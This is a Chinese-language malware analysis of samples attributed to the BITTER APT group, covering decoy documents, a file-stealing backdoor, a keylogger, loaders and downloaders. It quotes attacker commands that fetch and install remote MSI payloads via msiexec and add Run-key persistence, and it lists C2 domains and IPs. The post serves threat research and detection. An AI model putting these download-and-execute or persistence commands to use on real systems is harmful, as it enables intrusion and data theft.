概述

BITTER又名蔓灵花、APT-C-08，疑似来自南亚地区，主要攻击目标为巴基斯坦和中国。BITTER最早的攻击可追溯到2013年11月份，活跃高峰期为2015年至2016年。
BITTER 主要针对政府、军工业、电力、核等单位进行攻击，窃取敏感资料，具有强烈的政治背景。该组织最早在2016由美国安全公司Forcepoint进行了披露，并且命名为“BITTER”，同年360也跟进发布了分析报告，命名为“蔓灵花”。
由于该组织早期特马数据包头部以”BITTER”作为标识，因此国外厂商将其命名为BITTER，但是值得注意的是，自从该活动被曝光后，该组织就修改了数据包结构，不再以”BITTER”作为数据包的标识，改为五字节的随机字符进行代替。

在本文中，笔者初略的对BITTER一小类的样本进行了分析和总结。但因资源有限、C2存活时间短等原因，大部分样本都是以前都老样本，目前还有很多插件和后续payload未获取到或是还未来得及分析。也没有比较好的机会分析通信协议和C2的基础架构。但是管中窥豹，我们可以通过已有的一些资源去了解和推测，一步步揭开BIITER的神秘面纱。

历史样本

根据红雨滴团队的APT_Digital_Weapon以及后来的收集，笔者整理收集到的BITTER相关样本约240个左右。截止到2020年10月，BITTER都还保持着一定的活跃度：
image.png

2020 年度的攻击中，BITTER主要是使用了带0199远程模板注入漏洞的文档来替代之前的11882类文档。后续payload还是以Win32EXE为主。PE文件擅长使用Windows、Update等文件名以迷惑用户。

根据之前的分析来看，BITTER的攻击方式主要是：
鱼叉攻击->Dropper->Downloader->后续插件、RAT、Keylogger等。

诱饵类样本分析

通常来说，诱饵类样本类型一般有LNK、DOCX、RAR、RTF、ZIP等。
image.png

BITTER在鱼叉攻击阶段，主要是投递带有office漏洞的恶意文档，他们似乎并不喜欢使用宏进行攻击。由于BITTER所用的这些漏洞特征比较明显，笔者个人认为这类文档的免杀性应该不如带宏的文档。
image.png
其中11882漏洞文档主要是从指定地址下载文件保存到本地加载执行。
image.png

通过脚本解析文档，得到的模板注入地址去重后如下：
hxxp://maq.com.pk/wehsd 203.124.43.227
hxxp://comglobal.com.pk/wp-content/g 203.124.44.32
hxxp://oppak.com/one/opa 203.124.44.31
hxxp://netnsiservice.net/logs/crid
hxxp://w32infinitisupports.net/win/ctfd
hxxp://quartzu.hol.es/mso/x64/x32/section/update
hxxp://liveways.pk/images/rgnd 203.124.44.48
hxxp://tusdec.org.pk/ee 203.124.44.48

hxxp://sartetextile.com/news/pq
hxxp://maq.com.pk/wehsd 203.124.43.227
hxxp://quartzu.hol.es/mso/x64/x32/section/update 213.190.6.187
hxxp://quartzu.hol.es/cretmong/tangkrdg/uplandjt 213.190.6.187
hxxp://tusdec.org.pk/ee 203.124.44.48
hxxp://oppak.com/one/eths 203.124.44.31
hxxp://hartraders.com/wp-sig 203.124.44.31
hxxp://liveways.pk/images/rgnd 203.124.44.48

Backdrop

BITTER早期样本WinMain如下：
image.png

经过分析，该入口点是BITTER的惯用代码：
image.png

甚至从14年的样本到20年的样本都保留了该段代码
image.png

直接以这个入口点编写yara扫描一下，效果似乎还不错
image.png

早期样本在创建窗体之后，会在WinMain最后执行一个call，所有的操作都在这个函数中执行：
image.png

样本多处使用随机数sleep以逃避早期的一些沙箱检测。和其他常见的样本不同的是，BITTER比较喜欢通过CreateSemaphoreA来防止多开而不是CreateMute.
image.png

接下来，程序会通过简单的do while 给变量赋值，然后调用一个解密函数进行解密：
image.png

这里解密出了早期的C2地址和Windows的调试路径
image.png

通过多个循环将解密之后的C:\Windows\debug\WIA\ 路径存放到多个数组中
image.png

image.png

然后循环对构造出多个WIA相关的路径
image.png

获取当前路径并截取文件名
image.png

将截取到的文件名与WIA路径拼接，同时拼接出另外两个路径：
image.png

解密出指令REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v SVC /t REG_SZ /d
image.png

接着解密出自启动的注册表键Software\Microsoft\Windows\CurrentVersion\Run
image.png

通过RegQueryValueEx查询是否存储SVC键值
image.png
image.png

由于此时未设置注册表键值，RegQueryValueEx将会返回2
image.png

然后传递到00401936函数中创建
image.png

首先创建一个输入管道和一个输出管道
image.png

获取CMD路径
image.png

创建cmd进程
image.png

PeekNamedPipe获取cmd进程返回值：
image.png

将拷贝指令传入到管道中，给cmd.exe执行，此处是将C:\Windows\debug\WIA\2.exe路径写入到开机自启动中。
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v SVC /t REG_SZ /d “C:\Windows\debug\WIA\2.exe”image.png

设置后如下：
image.png

image.png

image.png

接着通过管道将自身拷贝到WIA目录下：
image.png

再通过两次管道操作，将原始文件拷贝到WIA目录并分别另存为svcm.exe和svcs.exe
image.png

接着再次通过管道使用cmd启动svcs.exe
image.png

至此，原始进程完毕。

svcs.exe

svcs.exe主要是通过管道启动svcm.exe
image.png

当程序检测当前进程名是svcm.exe的时候才会执行关键功能。

网络请求信息如下，请求方式为POST，参数为用户的计算机ID //m2s_reply_u2.php?x=WIN-IHN30SD7IMB
image.png

接着通过GetLogicalDriveStringsW获取计算机上所有的磁盘信息
image.png

接着进行文件夹遍历
image.png

遍历所有文件并上传
image.png

收集到信息则会尝试请求m2s_uploads_u2.php
image.png

将收集到的所有信息上传到C2，包括文件名，文件类型和文件内容
image.png

综上，该样本请求C2为：range7.com，由于该样本具备多次释放文件的功能，有的厂商将其报毒为Dropper，但从行为上来说，更像是Trojan/Backdrop

Keylogger

样本hash:4b0e5c5c4e0e22f2dfeef0531e021072
CreateTime:2019-06-18
SubTime:2019-09-09

在历史样本信息中，笔者还看到了一例被标注为keylooger的样本。
样本由VC编写，有一个名为KeyEvent的导出函数
image.png

在WinMain函数中，程序首先是拼接出一些字符串，然后创建一个名为hfyuwejffkkfa的信号量：
image.png

接着程序通过CreateThread创建一个新线程， 在新线程中通过SetWindowshook设置键盘钩子，调用KeyEvent导出函数实现键盘监听。
image.png

从已有的资料（信号量、请求域名）来看，好像只有一例KeyLooger。

sfx类样本

样本hash：806626d6e7a283efffb53b3831d53346
外层样本是一个自解压包，内含一个恶意文件dlhost.exe和一个诱饵文件<开证装期邮件.pdf>
image.png

很明显这是一起针对我国境内的鱼叉攻击，用于迷惑用户的文档如下
image.png

核心代码在释放的dlhost.exe文件中，dlhost由VC编译，但WinMain已经被抹去：
image.png

main函数中前面大部分代码都是进行解密字符串的操作：
image.png

解密之后一些比较关键的字符串信息如下：
image.png

依旧通过CreateSemaphorA来防止多开，创建的信号量为：7t56yr54r
image.png

解密出C2完整请求路径
image.png

准备请求C2：
image.png

通过Get请求将收集到的一些基本信息发送到服务器然后等待服务器返回。
image.png

目前请求的C2：162.0.229.203 已经无法响应，但是笔者根据该C2找到了几个关联的样本。
image.png

其中四个样本为sfx自解压样本，均为dlhost.exe加一个诱饵文档：
image.png
不过需要注意的是，有一个dlhost与其他三个不相同：
image.png

经过分析，较大的dlhost文件编译时间为2020-09-02
而比较小的dlhost编译时间为2020-06-30

比较之后，可以发现早期的dlhost比较简单明了，WinMain中仅仅几十行代码，并且没怎么做保护。而新版本的dlhost不仅抹去了WinMain标志，还将所有函数调用拆分写到了主函数中，但是值得关注的是，两个版本的样本创建的信号量均为：7t56yr54r
image.png

但是简单的字符串解密算还是没有改变，只不过以前是通过函数调用，现在是复写代码。
image.png

请求地址依旧为 “http://162.0.229.203/RguhsT/RguhsT/“
image.png

查询可知，162.0.229[.]203 是BITTER组织的长期资产。
image.png

综上，看起来dlhost应该是BITTER的一类加载器。可以将程序rev从C2读取回来的文件通过ShellExecuteA加载执行。
image.png

LNK类样本

目前为止，一共发现两例使用LNK类文件进行攻击的BITTER样本，功能均为下载后续mis并安装。
样本md5：5acc8dcdc237f78946fa8b19f5120189
样本名称：25 AUG 310.pdf.lnk
CreateTime:2020-01-03
SubTime:2020-10-01
样本图标：
image.png

快捷方式target字段嵌入了如下恶意指令：
C:\Windows\System32\msiexec.exe /i http://msisspsvc.net/sgi/sgi.msi /q

根据命令可以知道，快捷方式运行后，会尝试通过msiexec安装从http://msisspsvc.net/sgi/sgi.msi下载回来的mis文件。
下载回来的mis安装包为sgi.msi，样本hash：b2cbcc1beea28ea743f1dd2829460c86

样本md5：569d721e44e1a31a53aeaa0e514ad794
样本名称：Income tax Savings for 2020-2021.lnk
CreateTime:2009-07-13（可疑）
SubTime:2020-09-04
样本图标：
image.png

同样的，该快捷方式执行之后会通过msiexec安装下载回来的安装包，命令如下：
msiexec /i https://jgcest.com/css/logs.php
下载回来的mis安装包为MsAulis.msi，样本hash：0a23faaf405c629e9202cbc90611b576

MIS安装类样本

内嵌dlhost

文件md5：b2cbcc1beea28ea743f1dd2829460c86
文件名：sgi.msi
CreateTime:1996-06-21(抹去)
SumTime：2020-08-19

通过LNK文件下载回来的安装包内嵌了两个文件，分别是rrt.vbs和svr.exe，其中rrt.vbs文件为一串乱码，svr.exe和上面分析老版本dlhost完全一致。
image.png

文件md5：1475df569f8a31e49a659c6d9764ae93
文件名：CERT.msi
CreateTime:1996-06-21(抹去)
SumTime：2020-10-29
虽然攻击者刻意抹去了时间戳，但是从代码风格来看，该样本应该是2020年上半年的版本：
image.png

除此之外，笔者还找到了BITTER另外两个MSI样本。
fbc56c2dadab05e78c995f57bf50bce5 ausetup.msi
31a36d4a30668a8743193e788cb2aa2b audio.msi

经过分析，两个msi解包之后，得到的是同一个文件，为dlhost更早期的版本。
image.png

该版本的dlhost是19年的版本，功能比上面看到的还要简单一些。在此样本中，创建的信号量为：
tyr65ythgtr65h5
image.png

内嵌VC Downloader

文件md5：df0cd6ac04f08a3c46546bc238dbacb1
文件名：rt.msi
CreateTime:1996-06-21(抹去)
SumTime：2020-06-29

msi文件内嵌了一个名为cgc.exe的文件，经过分析，该文件属于BITTER的的Downloader样本。和笔者之前分析的样本几乎完全一致。

该样本的主要功能如下：

  1. 样本运行后，首先会解密一系列后面会用到的字符串
  2. 样本会在2EE0函数中检测杀软，目前看到的是检测avp.exe、Avast.exe，AVG、sophos、SAVAD
  3. 样本会判断当前的进程中是否包含了winupd，同时再次检测avp.exe，如果程序名包含了winupd则说明程序不是第一次运行，如果没有包含则说明可能是第一次运行，程序则会尝试将自身赋值到sento目录并在启动目录下创建一个快捷方式指向该文件。如果程序检测到了avp进程，即卡巴杀软，样本会创建一个开机启动的注册表执行cmd /c start %tempf% && exit
  4. 环境检测、软件检测完成之后，样本会开始网络请求，请求的内容是本地主机的一些基本信息，包括机器名，操作系统版本号，是否为管理员，木马版本号等。
  5. 尝试从C2服务器读取数据，写入本地文件并加载执行。

内嵌C# Downloader

文件md5：0a23faaf405c629e9202cbc90611b576
文件名：MsAulis.msi
CreateTime:2009-12-11(可疑)
SumTime：2020-08-28

该msi文件中内嵌了一个C#编写的Downloader：
image.png

Downloader主要代码在Fetch类中实现
image.png

在Fetch类中，程序首先是设置了一个计时器，然后调用了getData获取一些基本信息：
image.png

getData函数中，主要是获取当前计算机的计算机名、操作系统版本、操作系统位数以及IP地址和Mac地址，并分别赋值给Fetch._1到Fetch._5
image.png

如果执行顺利，那么程序会将mac地址赋值给text变量然后赋值给Fetch._5。

在计时器函数中，会对Fetch._5变量进行判断，如果该变量为空，则说明没有获取到用户mac地址和ip地址，那么程序将会重新设置计时器启动时间并且调用getData函数尝试再次获取。
image.png

若getData函数调用结果符合预期，那么程序会通过DecryptHex解密两个预定义的变量得到请求路径。
最后通过Touch_And_Fetch函数发送请求。

预定义变量值如下：
image.png

解密后可以得到请求域名为：
“http://vdsappauthservice.net/taskshandlers/DBhandle/“
请求路径为：
“primary_main.php”
image.png

程序将解密出来的请求路径传递到Touch_And_Fetch函数中，在该函数中，首先将之前获取到的基本信息进行拼接，拼接后的信息编码后使用post的方式将其回传到C2服务器：
image.png

如果服务器成功返回，程序则会删除返回值中的特殊字符然后赋值给responseString，若返回值不为空，程序则会将返回值作为参数传递到新线程startRequestedTask中。
image.png

虽然现在C2已经无响应，但是根据startRequestedTask线程中的代码可以得知，程序将返回值转换为了数组，并且数组中的第三项(array[2])是服务器下发的指令，用于标识该获取哪个路径。
image.png

接着程序拼接根据C2下发指令得到的完整文件路径并调用GetUniqueFilePath函数查询该文件是否存在，若不存在则通过DownloadFile函数下载文件保存到本地。
image.png

最后，程序在type_1_dbt函数中创建新进程启动下载回来的文件
image.png

需要注意的是，下载的路径已经进行了重新拼接，拼接后的请求路径应该为：
“http://vdsappauthservice.net/taskshandlers/DBhandle/FileFolder/“ + C2返回的文件名
image.png

笔者对该C2域名进行搜索，最后可以得知下载的文件应该是名为putty.exe的程序。
image.png

经过分析，该文件似乎不是被patch的，好像是19年3月份的putty版本。
image.png

小节

蔓灵花（BITTER）APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织。在本文中，我们可以初步了解到BITTER常见的一些攻击手法。也可以看到BITTER在样本中体现出来的一些不同于其他家族的地方，比如喜欢投递漏洞利用的样本而不是带宏的样本、比如喜欢使用CreateSemaphorA而不是使用CreateMutex来保证样本单例运行。比如经常在样本中穿插多个sleep来干扰行为分析。

BITTER的样本种类较多，且一直在保持更新。笔者本次只是分析了冰山一角，梳理了一些前置部分的样本。若有分析遗落或是不完全的，望各位大佬海涵。接下来会再抽时间，将一些插件和后续payload进行总结分析。

IOC就不贴啦~ 都在红雨滴的武器库。